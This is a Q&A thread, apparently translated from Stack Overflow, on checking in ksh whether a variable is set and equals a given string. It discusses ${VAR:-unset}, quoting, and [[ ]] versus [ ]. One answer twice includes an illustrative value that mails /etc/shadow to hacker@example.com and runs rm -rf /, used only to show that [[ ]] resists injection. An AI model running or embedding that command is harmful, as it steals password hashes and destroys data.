Shell 检查变量是否已设置且值为ksh
我有一个脚本,它接受用户输入,刷新选项是可选的。我需要测试$REFRESH是否存在,是否等于字符串“REFRESH”,然后运行特定的代码块 用户将执行Shell 检查变量是否已设置且值为ksh,shell,ksh,Shell,Ksh,我有一个脚本,它接受用户输入,刷新选项是可选的。我需要测试$REFRESH是否存在,是否等于字符串“REFRESH”,然后运行特定的代码块 用户将执行 ./export_data.sh <user> <type> [REFRESH] 我唯一能想到的另一种方法是嵌套if,但这看起来很混乱: if [ -n $REFRESH ] then if [ $REFRESH == "REFRESH" ] then echo "variable is
./export_data.sh <user> <type> [REFRESH]
我唯一能想到的另一种方法是嵌套if,但这看起来很混乱:
if [ -n $REFRESH ]
then
if [ $REFRESH == "REFRESH" ]
then
echo "variable is set and the expected value";
# do stuff
fi
有更好的方法吗
if [ "${REFRESH:-unset}" = "REFRESH" ]
then ...
如果$REFRESH
中没有值,或者该值是空字符串,则此选项将替换unset
。无论哪种方式,它都不同于“刷新”,因此它的行为符合要求
测试变量时,用双引号括起来;这可以省去焦虑。事实上,这意味着你可以简单地写:
if [ "$REFRESH" = "REFRESH" ]
then ...
回答这一具体问题: 如果我在PHP中执行此操作,我只需使用isset()函数,ksh中是否存在等效函数?
我想对乔纳森的回答发表评论,但我在这方面是个新手,不值得信任 无论如何,如果你想在ksh中避免焦虑,千万不要使用传统的Bourne shell[]。相反,请使用[]
if [[ $REFRESH == REFRESH ]]; then
这将始终按照您想要的方式进行评估。即使以下任何一种情况发生在if语句之前
REFRESH=''
REFRESH=' REFRESH'
REFRESH='`mailx -s "good stuff" hacker@example.com < /etc/shadow`; sleep 5; rm -rf /`'
这里我们看到,在使用[[]]时,引用RHS比引用LHS更重要。此外,这表明[[]]允许使用模式和模式列表进行更强大的匹配。顺便说一句,在我看来,测试变量是否设置的最好(因为这是最简单的)方法是:
if [ "$PIPPO" ] ; then
echo "Set"
fi
或
如果[“${REFRESH:-unset}”!=“unset”],它不应该是
?否。问题是:我需要测试$REFRESH是否存在并且是否等于字符串“REFRESH”。确实如此。实际上有两个问题,一个是明确的,你的回答没有直接提到,另一个是隐含的,很可能是真实的。我接受了乔纳森的回答,因为它涵盖了我的两个问题。回过头来,重新审视我的脚本,我发现我没有将变量$REFRESH括在引号中(现在已修复)。脚本现在可以按我的要求工作了。然而,替代值的解决方案将在未来派上用场。我没有足够的代表投票支持答案,否则两者都会得到+1。
REFRESH=''
REFRESH=' REFRESH'
REFRESH='`mailx -s "good stuff" hacker@example.com < /etc/shadow`; sleep 5; rm -rf /`'
$ val='@(foo|REFRESH)'
$ REFRESH=REFRESH; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=foo; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=REFRESH; [[ $REFRESH == "$val" ]] && echo match
$ REFRESH=' REFRESH'; [[ $REFRESH == REFRESH ]] && echo match
$
if [ "$PIPPO" ] ; then
echo "Set"
fi
if [ ! "$PIPPO" ] ; then
echo "Not Set"
fi